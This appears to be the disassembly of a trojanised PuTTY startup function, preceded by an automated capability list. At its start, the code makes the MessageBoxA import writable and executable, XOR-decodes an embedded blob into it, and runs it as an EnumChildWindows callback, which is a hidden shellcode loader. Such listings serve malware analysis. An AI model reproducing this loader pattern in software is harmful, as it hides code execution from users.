Function at 0x457710
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Get keyboard layout
Hide graphical window
Read file via mapping
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1948
call fcn.0046b100
mov eax, dword [0x4e5814]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0x10]
push edi
push 0x18d6
mov dword [ebp - 0x1920], eax
lea eax, [ebp - 0x18dc]
push str.ZZZZr_r
push eax
mov dword [ebp - 0x1918], esi
call fcn.0046c120
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
add esp, 0xc
push str.kernel32.dll
call ebx
push str.VirtualProtect
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x192c]
push ecx
push 0x40
push 0xf831
push edi
mov dword [ebp - 0x192c], 0
call eax
test eax, eax
jne 0x4577a6
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046addd
mov esp, ebp
pop ebp
ret 0x10
mov cl, byte [ebp - 0x18dc]
xor cl, 0x90
xor eax, eax
mov al, byte [esi + ecx]
lea ecx, [ecx + 1]
nop
nop
nop
nop
nop
xor al, bl
mov byte [ecx - 1], al
nop
sub edx, 1
jb 0x4577b1
push 0x18d5
lea eax, [ebp - 0x18dc]
push eax
push edi
call fcn.0046c120
add esp, 0xc
push str.user32.dll
call ebx
push str.EnumChildWindows
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push edi
push 0
call eax
call fcn.00461bf0
mov eax, dword [ebp - 0x1920]
mov dword [0x4ea4b0], eax
mov dword [0x4ea4b8], 0
mov dword [0x4ea4d8], 5
call fcn.004630a0
call fcn.00452120
call fcn.004616f0
call fcn.004557d0
call fcn.004620f0
test eax, eax
jne 0x457879
push dword [0x4be594]
push str._s_Fatal_Error
call fcn.0040dda0
add esp, 8
mov esi, eax
push 0x30
push esi
push str.Windows_refuses_to_report_a_version
push 0
call edi
push esi
call fcn.0040e430
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
mov eax, 1
pop edi
pop esi
pop ebx
call fcn.0046addd
mov esp, ebp
pop ebp
ret 0x10
cmp dword [0x4ea404], 4
jb 0x45788d
jne 0x45789d
cmp dword [0x4ea410], 2
je 0x45789d
push str.MSWHEEL_ROLLMSG
call dword [sym.imp.USER32.dll_RegisterWindowMessageA]
mov dword [0x4e57b0], eax
call fcn.00460c30
call fcn.0045d370
call fcn.004032c0
push 0
mov dword [0x4ea4c4], eax
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
je 0x4578e4
cmp eax, 1
je 0x4578e4
push dword [0x4be594]
push str._s_Fatal_Error
call fcn.0040dda0
add esp, 8
mov esi, eax
push 0x30
push esi
push str.Failed_to_initialize_COM_subsystem
jmp 0x457854
mov eax, dword [0x4be590]
xor ebx, ebx
push eax
mov dword [ebp - 0x191c], ebx
mov dword [0x4ea4d4], eax
call fcn.00412d30
add esp, 4
mov dword [0x4ea4d0], ebx
test eax, eax
je 0x457911
mov eax, dword [eax + 0x4c]
mov dword [0x4ea4d0], eax
push 0
push 0x78
push dword [0x4ea4c4]
call fcn.00403560
push dword [0x4ea4c4]
push 0
call fcn.00412d60
mov al, byte [esi]
add esp, 0x14
mov edi, esi
test al, al
je 0x457958
nop dword [eax + eax]
movsx eax, al
push eax
call fcn.0048f446
add esp, 4
test eax, eax
je 0x457958
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x457940
mov al, byte [edi]
cmp al, 0x26
jne 0x457997
cmp byte [edi + 1], 0x52
jne 0x457a0b
mov al, byte [edi + 2]
lea esi, [edi + 2]
test al, al
je 0x45797e
cmp al, 0x40
je 0x45797e
cmp al, 0x26
jne 0x457a0b
call fcn.00466070
mov dword [0x4ea494], 1
mov edi, esi
mov al, byte [esi]
mov esi, dword [ebp - 0x1918]
cmp al, 0x40
jne 0x457a03
mov esi, edi
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x4579a0
sub esi, ecx
cmp esi, 1
jle 0x4579c8
nop
movsx eax, byte [edi + esi - 1]
push eax
call fcn.0048f446
add esp, 4
test eax, eax
je 0x4579c8
dec esi
cmp esi, 1
jg 0x4579b0
mov byte [esi + edi], bl
lea eax, [edi + 1]
push dword [0x4ea4c4]
push eax
call fcn.00412d60
push dword [0x4ea4c4]
call fcn.0040dc00
add esp, 0xc
test eax, eax
jne 0x4579f9
call fcn.00455810
test eax, eax
je 0x4584ee
mov esi, 1
jmp 0x457b0d
cmp al, 0x26
jne 0x457a91
lea eax, [ebp - 0x191c]
push eax
lea eax, [ebp - 0x1918]
push eax
lea eax, [edi + 1]
push str._p:_u
push eax
call fcn.00411d60
add esp, 0x10
cmp eax, 2
jne 0x457a7f
push dword [ebp - 0x191c]
push 0
push 0
push 4
push dword [ebp - 0x1918]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
test esi, esi
je 0x457a7f
push dword [ebp - 0x191c]
push esi
push dword [0x4ea4c4]
call fcn.00402e10
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [ebp - 0x1918]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, 1
jmp 0x457b0d
call fcn.00455810
test eax, eax
je 0x4584e7
jmp 0x4579f9
test al, al
je 0x457b0b
push 0
lea eax, [ebp - 0x1924]
push eax
lea eax, [ebp - 0x1918]
push eax
push esi
call fcn.00468f10
mov ecx, dword [ebp - 0x1918]
add esp, 0x10
xor edi, edi
test ecx, ecx
jle 0x457b0b
nop word [eax + eax]
mov eax, dword [ebp - 0x1924]
lea ebx, [edi + 1]
mov esi, dword [eax + edi*4]
cmp ebx, ecx
jge 0x457ad6
mov eax, dword [eax + edi*4 + 4]
jmp 0x457ad8
xor eax, eax
push dword [0x4ea4c4]
push 1
push eax
push esi
call fcn.00401440
add esp, 0x10
cmp eax, 0xfffffffe
je 0x458561
cmp eax, 2
jne 0x457b54
mov edi, ebx
mov ebx, dword [ebp - 0x191c]
mov ecx, dword [ebp - 0x1918]
inc edi
cmp edi, ecx
jl 0x457ac0
xor esi, esi
push dword [0x4ea4c4]
call fcn.00402b30
add esp, 4
cmp dword [0x4ea4cc], 0
jne 0x457b2c
test ebx, ebx
jne 0x457b2c
test esi, esi
je 0x457b42
push dword [0x4ea4c4]
call fcn.0040dc00
add esp, 4
test eax, eax
jne 0x457cc8
call fcn.00455810
test eax, eax
je 0x4584ee
jmp 0x457cc8
cmp eax, 1
je 0x457afa
mov ecx, str._cleanup
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x457b80
test dl, dl
je 0x457b7c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x457b80
add eax, 2
add ecx, 2
test dl, dl
jne 0x457b60
xor eax, eax
jmp 0x457b85
sbb eax, eax
or eax, 1
test eax, eax
je 0x45850c
mov ecx, str._pgpfp
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x457bb4
test dl, dl
je 0x457bb0
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x457bb4
add eax, 2
add ecx, 2
test dl, dl
jne 0x457b94
xor eax, eax
jmp 0x457bb9
sbb eax, eax
or eax, 1
test eax, eax
je 0x458500
cmp byte [esi], 0x2d
je 0x4584f5
mov ebx, dword [ebp - 0x191c]
mov dword [ebp - 0x1928], esi
test ebx, ebx
je 0x457bf5
push dword [0x4ea4c4]
push 1
push esi
push 0x4be768
call fcn.00401440
add esp, 0x10
jmp 0x457b00
push 7
push str.telnet:
push esi
call fcn.004776f0
add esp, 0xc
test eax, eax
jne 0x457c99
add esi, 7
cmp byte [esi], 0x2f
jne 0x457c1e
cmp byte [esi + 1], 0x2f
jne 0x457c1e
add esi, 2
push 1
push 2
push dword [0x4ea4c4]
call fcn.00403560
push 0x4d6398
push esi
call fcn.0040e130
mov cl, byte [eax + esi]
add eax, esi
add esp, 0x14
test cl, cl
je 0x457c48
mov byte [eax], 0
inc eax
cmp cl, 0x3a
jne 0x457c66
push eax
call fcn.00477681
push eax
push 1
push dword [0x4ea4c4]
call fcn.00403560
add esp, 0x10
jmp 0x457c78
push 0xffffffffffffffff
push 1
push dword [0x4ea4c4]
call fcn.00403560
add esp, 0xc
push esi
push 0
push dword [0x4ea4c4]
call fcn.004035c0
mov ebx, 1
add esp, 0xc
mov dword [ebp - 0x191c], ebx
jmp 0x457b00
mov al, byte [esi]
test al, al
je 0x457cc0
nop
movsx eax, al
push eax
call fcn.0048f446
add esp, 4
test eax, eax
jne 0x457cb8
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x457ca0
cmp byte [esi], 0
je 0x457cc0
mov byte [esi], 0
push dword [ebp - 0x1928]
jmp 0x457c79
push 0
push dword [0x4ea4c4]
call fcn.00403120
push eax
call fcn.0040ddc0
mov edi, eax
push 0x4c4a08
push edi
call fcn.00491490
add esp, 0x14
cmp byte [edi + eax], 0
lea esi, [edi + eax]
je 0x457d1c
push 0x40
push esi
call fcn.0046cd80
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x457d1c
push esi
mov byte [ebx], 0
push 0x34
push dword [0x4ea4c4]
call fcn.004035c0
add esp, 0xc
lea esi, [ebx + 1]
push 0x3a
push esi
call fcn.0040e0b0
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x457d41
lea ecx, [ebx + 1]
push 0x3a
push ecx
call fcn.0040e0b0
add esp, 8
test eax, eax
jne 0x457d41
mov byte [ebx], al
mov al, byte [esi]
mov ecx, edi
test al, al
je 0x457d63
nop dword [eax]
cmp al, 0x20
je 0x457d5b
cmp al, 9
je 0x457d5b
mov byte [ecx], al
inc ecx
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x457d50
push edi
mov byte [ecx], 0
push 0
push dword [0x4ea4c4]
call fcn.004035c0
push edi
call fcn.0040e430
add esp, 0x10
cmp dword [ebp + 0xc], 0
jne 0x457e19
mov eax, dword [ebp - 0x1920]
push 0xc8
push eax
mov dword [ebp - 0x1914], 0
mov dword [ebp - 0x1910], 0x458570
mov dword [ebp - 0x190c], 0
mov dword [ebp - 0x1908], 0
mov dword [ebp - 0x1904], eax
call dword [sym.imp.USER32.dll_LoadIconA]
push 0x7f01
push 0
mov dword [ebp - 0x1900], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
push dword [0x4be594]
mov dword [ebp - 0x18fc], eax
push 0
push 0
mov dword [ebp - 0x18f8], 0
mov dword [ebp - 0x18f4], 0
call fcn.0040ea30
add esp, 0xc
mov dword [ebp - 0x18f0], eax
lea eax, [ebp - 0x1914]
push eax
call dword [sym.imp.USER32.dll_RegisterClassW]
push 0xb10
push 0
push 0x4e6af8
call fcn.0046c6a0
call fcn.0045b300
call fcn.0045b330
push 0x73
push dword [0x4ea4c4]
mov dword [0x4e6ac4], 0xa
mov dword [0x4e6ac8], 0x14
mov dword [0x4e6abc], 0x19
mov dword [0x4e6ac0], 0x1c
call fcn.004030c0
imul eax, dword [0x4e6ac4]
mov edi, dword [0x4e6abc]
push 0x74
push dword [0x4ea4c4]
add edi, eax
call fcn.004030c0
imul eax, dword [0x4e6ac8]
mov esi, dword [0x4e6ac0]
add esi, eax
lea eax, [ebp - 0x18ec]
push eax
call fcn.0045cb90
mov ebx, dword [ebp - 0x18e4]
sub ebx, dword [ebp - 0x18ec]
mov eax, dword [ebp - 0x18e0]
cmp edi, ebx
push dword [0x4be594]
cmovle ebx, edi
sub eax, dword [ebp - 0x18e8]
cmp esi, eax
mov edi, 0xef0000
cmovle eax, esi
xor esi, esi
push esi
push esi
mov dword [ebp - 0x1928], eax
call fcn.0040ea30
push 0x6d
push dword [0x4ea4c4]
mov dword [ebp - 0x1924], eax
call fcn.004030c0
test eax, eax
mov ecx, 0xcf0000
push 0x6f
push dword [0x4ea4c4]
cmove edi, ecx
call fcn.004030c0
add esp, 0x3c
cmp eax, 1
jne 0x457f14
and edi, 0xfffaffff
push 0x56
push dword [0x4ea4c4]
call fcn.004030c0
test eax, eax
mov ecx, 8
push 0x7e
push dword [0x4ea4c4]
cmovne esi, ecx
call fcn.004030c0
add esp, 0x10
test eax, eax
je 0x457f45
or esi, 0x200
push 0
push dword [ebp - 0x1920]
push 0
push 0
push dword [ebp - 0x1928]
push ebx
mov ebx, dword [ebp - 0x1924]
push 0x80000000
push 0x80000000
push edi
push ebx
push ebx
push esi
call dword [sym.imp.USER32.dll_CreateWindowExW]
push ebx
mov dword [0x4ea4b8], eax
call fcn.0040e430
push 0
push 0
call fcn.0045cd20
push 0
push 0x4e6af8
push dword [0x4ea4c4]
call fcn.00449190
push dword [0x4ea4c4]
mov dword [0x4ea4ac], eax
push 0
call fcn.0040ab30
push eax
push dword [0x4ea4ac]
mov dword [0x4ea4a8], eax
call fcn.0044d370
push 0x60
push dword [0x4ea4c4]
call fcn.004030c0
add esp, 0x30
push eax
push 0x73
push dword [0x4ea4c4]
call fcn.004030c0
add esp, 8
push eax
push 0x74
push dword [0x4ea4c4]
call fcn.004030c0
add esp, 8
push eax
push dword [0x4ea4ac]
call fcn.0044da50
add esp, 0x10
lea eax, [ebp - 0x18fc]
push eax
push dword [0x4ea4b8]
call dword [sym.imp.USER32.dll_GetWindowRect]
lea eax, [ebp - 0x18ec]
push eax
push dword [0x4ea4b8]
call dword [sym.imp.USER32.dll_GetClientRect]
push 0x7f
push dword [0x4ea4c4]
call fcn.004030c0
mov esi, dword [ebp - 0x18ec]
add esp, 8
sub esi, dword [ebp - 0x18e4]
mov edx, dword [ebp - 0x18e8]
sub edx, dword [ebp - 0x18e0]
lea ecx, [eax + eax]
sub esi, dword [ebp - 0x18fc]
sub edx, dword [ebp - 0x18f8]
add esi, dword [ebp - 0x18f4]
add edx, dword [ebp - 0x18f0]
add esi, ecx
add edx, ecx
mov dword [0x4e6ad8], eax
mov ecx, dword [0x4ea4ac]
mov dword [0x4e6ad4], eax
mov dword [0x4e6abc], esi
mov dword [0x4e6ac0], edx
mov eax, dword [ecx + 0x128]
imul eax, dword [0x4e6ac8]
push 0xe
add eax, edx
push eax
mov eax, dword [ecx + 0x12c]
imul eax, dword [0x4e6ac4]
add eax, esi
push eax
push 0
push 0
push 0
push dword [0x4ea4b8]
call dword [sym.imp.USER32.dll_SetWindowPos]
mov eax, dword [0x4e6ac4]
add eax, 0xf
cdq
and edx, 0xf
push 1
lea esi, [edx + eax]
sar esi, 4
imul esi, dword [0x4e6ac8]
add esi, esi
push esi
call fcn.0040e450
push esi
mov edi, eax
push 0
push edi
call fcn.0046c6a0
add esp, 0x14
push edi
push 1
push 1
push dword [0x4e6ac8]
push dword [0x4e6ac4]
call dword [sym.imp.GDI32.dll_CreateBitmap]
push edi
mov dword [0x4e7cac], eax
call fcn.0040e430
add esp, 4
push dword [0x4e6ac8]
push dword [0x4e6ac4]
push dword [0x4e7cac]
push dword [0x4ea4b8]
call dword [sym.imp.USER32.dll_CreateCaret]
mov ecx, dword [0x4ea4ac]
mov dword [ebp - 0x1908], 0x1c
mov dword [ebp - 0x1904], 0x1f
mov dword [ebp - 0x1900], 0
mov eax, dword [ecx + 0x128]
dec eax
mov dword [ebp - 0x18fc], eax
mov eax, dword [ecx + 0x128]
push 0
mov dword [ebp - 0x18f8], eax
lea eax, [ebp - 0x1908]
push eax
push 1
push dword [0x4ea4b8]
mov dword [ebp - 0x18f4], 0
call dword [sym.imp.USER32.dll_SetScrollInfo]
mov dword [0x4e7fcc], 0
mov dword [0x4e7fd0], 0
call dword [sym.imp.USER32.dll_GetDoubleClickTime]
push 0
push dword [0x4ea4b8]
mov dword [0x4e7fc4], eax
call dword [sym.imp.USER32.dll_GetSystemMenu]
mov dword [0x4e7628], eax
call dword [sym.imp.USER32.dll_CreatePopupMenu]
mov ebx, dword [sym.imp.USER32.dll_AppendMenuA]
push str.Paste
push 0x190
push 0
push eax
mov dword [0x4e762c], eax
call ebx
call dword [sym.imp.USER32.dll_CreateMenu]
push 1
push 0x4e7634
mov dword [0x4e7630], eax
call fcn.00412db0
add esp, 8
call fcn.0045ea00
xor eax, eax
mov dword [ebp - 0x1918], eax
mov edi, dword [eax + 0x4e7628]
push 0
push 0
push 0x800
push edi
call ebx
push str.Event_Log
push 0x10
push 0
push edi
call ebx
push 0
push 0
push 0x800
push edi
call ebx
push str.New_Session...
push 0x20
push 0
push edi
call ebx
push str.Duplicate_Session
push 0x30
push 0
push edi
call ebx
push str.Saved_Sessions
push dword [0x4e7630]
push 0x10
push edi
call ebx
push str.Change_Settings...
push 0x50
push 0
push edi
call ebx
push 0
push 0
push 0x800
push edi
call ebx
push str.Copy_All_to_Clipboard
push 0x170
push 0
push edi
call ebx
push str.Clear_Scrollback
push 0x60
push 0
push edi
call ebx
push str.Reset_Terminal
push 0x70
push 0
push edi
call ebx
push 0
push 0
push 0x800
push edi
call ebx
push str.Full_Screen
push 0x180
push 0x6f
push dword [0x4ea4c4]
call fcn.004030c0
add esp, 8
dec eax
neg eax
sbb eax, eax
inc eax
push eax
push edi
call ebx
push 0
push 0
push 0x800
push edi
call ebx
call fcn.00460c10
test eax, eax
je 0x4582e9
push str.Help
push 0x140
push 0
push edi
call ebx
push dword [0x4be594]
push str.About__s
call fcn.0040dda0
add esp, 8
mov esi, eax
push esi
push 0x150
push 0
push edi
call ebx
push esi
call fcn.0040e430
mov eax, dword [ebp - 0x1918]
add esp, 4
add eax, 4
mov dword [ebp - 0x1918], eax
cmp eax, 8
jb 0x458204
cmp dword [0x4ea494], 0
je 0x458342
push str.Running_with_restricted_process_ACL
push 0
call fcn.00455ac0
add esp, 8
call fcn.0045e510
push 0
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push eax
call fcn.0045e290
add esp, 4
push dword [ebp + 0x14]
push dword [0x4ea4b8]
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [0x4ea4b8]
call dword [sym.imp.USER32.dll_SetForegroundWindow]
mov dword [0x4e788c], 0
mov dword [0x4e7ca8], 0
call fcn.0045d220
mov edi, dword [sym.imp.USER32.dll_GetForegroundWindow]
call edi
xor ecx, ecx
cmp eax, dword [0x4ea4b8]
sete cl
push ecx
push dword [0x4ea4ac]
call fcn.0044da30
add esp, 8
push dword [0x4ea4b8]
call dword [sym.imp.USER32.dll_UpdateWindow]
mov esi, dword [sym.imp.USER32.dll_PeekMessageW]
mov ebx, dword [sym.imp.USER32.dll_DispatchMessageW]
call fcn.00401300
test eax, eax
jne 0x45840c
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x1948]
push eax
call dword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x45840c
mov dword [ebp - 0x1918], 0xffffffff
call edi
xor ecx, ecx
cmp eax, dword [0x4ea4b8]
sete cl
push ecx
push dword [0x4ea4ac]
call fcn.0044da30
add esp, 8
jmp 0x458416
mov dword [ebp - 0x1918], 0
lea eax, [ebp - 0x1920]
push eax
call fcn.004604c0
add esp, 4
mov edi, eax
push 0x1cff
push dword [ebp - 0x1918]
push 0
push edi
push dword [ebp - 0x1920]
call dword [sym.imp.USER32.dll_MsgWaitForMultipleObjects]
cmp eax, dword [ebp - 0x1920]
jae 0x458454
push dword [edi + eax*4]
call fcn.00460570
add esp, 4
push edi
call fcn.0040e430
add esp, 4
lea eax, [ebp - 0x1948]
push 1
push 0
push 0
push 0
push eax
call esi
test eax, eax
je 0x4584cc
cmp dword [ebp - 0x1944], 0x12
je 0x4584dc
push dword [0x4ea4b4]
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x4584a2
lea eax, [ebp - 0x1948]
push eax
push dword [0x4ea4b4]
call dword [sym.imp.USER32.dll_IsDialogMessageA]
test eax, eax
jne 0x4584ab
lea eax, [ebp - 0x1948]
push eax
call ebx
cmp dword [ebp - 0x1944], 0x8005
jne 0x4584cc
push 1
push 0
push 0
push 0
lea eax, [ebp - 0x1948]
push eax
call esi
test eax, eax
jne 0x458472
call fcn.004012c0
mov edi, dword [sym.imp.USER32.dll_GetForegroundWindow]
jmp 0x4583c6
push dword [ebp - 0x1940]
call fcn.0045af50
push 0
call fcn.0045af50
push 0
call fcn.0045af50
push esi
push str.unknown_option___s_
call fcn.0045b2a0
call fcn.00468e30
push 1
call fcn.0049b80a
push dword [0x4be594]
push str.This_procedure_will_remove_ALL_Registry_entries_nassociated_with__s__and_will_also_remove_nthe_random_seed_file.__This_only_affects_the_ncurrently_logged_in_user.__n_nTHIS_PROCESS_WILL_DESTROY_YOUR_SAVED_SESSIONS._nAre_you_really_sure_you_want_to_continue_
call fcn.0040dda0
push dword [0x4be594]
mov esi, eax
push str._s_Warning
call fcn.0040dda0
push 4
mov edi, eax
push 0x134
push edi
push esi
call fcn.00468d10
add esp, 0x20
cmp eax, 6
jne 0x45854b
call fcn.00466e70
push esi
call fcn.0040e430
push edi
call fcn.0040e430
add esp, 8
push 0
call fcn.0049b80a
push esi
push str.option___s__requires_an_argument
call fcn.0045b2a0
int3